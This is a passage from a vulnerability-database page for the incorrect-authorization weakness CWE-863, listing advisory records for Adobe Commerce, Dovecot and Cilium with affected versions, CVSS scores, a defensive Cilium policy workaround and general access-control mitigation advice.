    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T20:17:05Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker\u0027s control. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-24hm-fc95-562h",
  "modified": "2026-07-14T21:32:18Z",
  "published": "2026-07-14T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47998"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb26-73.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24JQ-H48J-G592

Vulnerability from github – Published: 2022-05-02 00:11 – Updated: 2024-01-21 03:30
VLAI
Details

The ACL plugin in Dovecot before 1.1.4 treats negative access rights as if they are positive access rights, which allows attackers to bypass intended access restrictions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-4577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-15T20:08:00Z",
    "severity": "MODERATE"
  },
  "details": "The ACL plugin in Dovecot before 1.1.4 treats negative access rights as if they are positive access rights, which allows attackers to bypass intended access restrictions.",
  "id": "GHSA-24jq-h48j-g592",
  "modified": "2024-01-21T03:30:23Z",
  "published": "2022-05-02T00:11:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4577"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10376"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2008-October/msg00816.html"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2008-October/msg00844.html"
    },
    {
      "type": "WEB",
      "url": "http://bugs.gentoo.org/show_bug.cgi?id=240409"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32164"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32471"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33149"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33624"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/36904"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-200812-16.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.dovecot.org/list/dovecot-news/2008-October/000085.html"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:232"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2009-0205.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31587"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-838-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2745"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24QP-4XX8-3JVJ

Vulnerability from github – Published: 2025-03-24 19:05 – Updated: 2025-03-24 21:47
VLAI
Summary
Cilium East-west traffic not subject to egress policy enforcement for requests via Gateway API load balancers
Details

Impact

For Cilium users who: - Use Gateway API for Ingress for some services AND - Use LB-IPAM or BGP for LB Service implementation AND - Use network policies to block egress traffic from workloads in a namespace to workloads in other namespaces

Egress traffic from workloads covered by such network policies to LoadBalancers configured by Gateway resources will incorrectly be allowed.

LoadBalancer resources not deployed via a Gateway API configuration are not affected by this issue.

Patches

This issue was fixed by https://github.com/cilium/proxy/pull/1172.

This issue affects:

  • Cilium v1.15 between v1.15.0 and v1.15.14 inclusive
  • Cilium v1.16 between v1.16.0 and v1.16.7 inclusive
  • Cilium v1.17 between v1.17.0 and v1.17.1 inclusive

This issue is fixed in:

  • Cilium v1.15.15
  • Cilium v1.16.8
  • Cilium v1.17.2

Workarounds

A Clusterwide Cilium Network Policy can be used to work around this issue for users who are unable to upgrade. An outline of such a policy is provided below:

apiVersion: "cilium.io/v2"
kind: CiliumClusterwideNetworkPolicy
metadata:
  name: "workaround"
spec:
  endpointSelector:
    matchExpressions:
    - key: reserved:ingress
      operator: Exists
  ingress:
  - fromEntities:
    - world
  • The policy opens up connectivity from all locations outside the cluster into the Cilium Ingress Gateway.
  • The policy establishes a default deny for all other traffic towards the Cilium Ingress Gateway, including all in-cluster sources.
  • It is possible to tailor the policy to more narrowly allow inbound traffic while creating a default deny posture for traffic between namespaces. Users should edit the policy to bring it in line with the security requirements particular to their environments.

Acknowledgements

The Cilium community has worked together with members of the Isovalent team to prepare these mitigations. Special thanks to @jrajahalme for the fix.

For more information

If you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at security@cilium.io. This is a private mailing list for the Cilium security team, and your report will be treated as top priority.

Severity
3.2 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-24T19:05:04Z",
    "nvd_published_at": "2025-03-24T19:15:52Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nFor Cilium users who:\n- Use Gateway API for Ingress for some services **AND**\n- Use [LB-IPAM](https://docs.cilium.io/en/stable/network/lb-ipam/) or BGP for LB Service implementation **AND**\n- Use network policies to block egress traffic from workloads in a namespace to workloads in other namespaces\n\nEgress traffic from workloads covered by such network policies to LoadBalancers configured by `Gateway` resources will incorrectly be allowed.\n\nLoadBalancer resources not deployed via a Gateway API configuration are not affected by this issue.\n\n### Patches\n\nThis issue was fixed by https://github.com/cilium/proxy/pull/1172.\n\nThis issue affects:\n\n- Cilium v1.15 between v1.15.0 and v1.15.14 inclusive\n- Cilium v1.16 between v1.16.0 and v1.16.7 inclusive\n- Cilium v1.17 between v1.17.0 and v1.17.1 inclusive\n\nThis issue is fixed in:\n\n- Cilium v1.15.15\n- Cilium v1.16.8\n- Cilium v1.17.2\n\n### Workarounds\n\nA Clusterwide Cilium Network Policy can be used to work around this issue for users who are unable to upgrade. An outline of such a policy is provided below:\n\n```\napiVersion: \"cilium.io/v2\"\nkind: CiliumClusterwideNetworkPolicy\nmetadata:\n  name: \"workaround\"\nspec:\n  endpointSelector:\n    matchExpressions:\n    - key: reserved:ingress\n      operator: Exists\n  ingress:\n  - fromEntities:\n    - world\n```\n\n- The policy opens up connectivity from all locations outside the cluster into the Cilium Ingress Gateway.\n- The policy establishes a default deny for all other traffic towards the Cilium Ingress Gateway, including all in-cluster sources.\n- It is possible to tailor the policy to more narrowly allow inbound traffic while creating a default deny posture for traffic between namespaces. Users should edit the policy to bring it in line with the security requirements particular to their environments.\n\n### Acknowledgements\n\nThe Cilium community has worked together with members of the Isovalent team to prepare these mitigations. Special thanks to @jrajahalme for the fix.\n\n### For more information\n\nIf you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at [security@cilium.io](mailto:security@cilium.io). This is a private mailing list for the Cilium security team, and your report will be treated as top priority.",
  "id": "GHSA-24qp-4xx8-3jvj",
  "modified": "2025-03-24T21:47:14Z",
  "published": "2025-03-24T19:05:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/security/advisories/GHSA-24qp-4xx8-3jvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/proxy/pull/1172"
    },
    {
      "type": "WEB",
      "url": "https://docs.cilium.io/en/stable/network/lb-ipam"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cilium/cilium"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cilium East-west traffic not subject to egress policy enforcement for requests via Gateway API load balancers"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list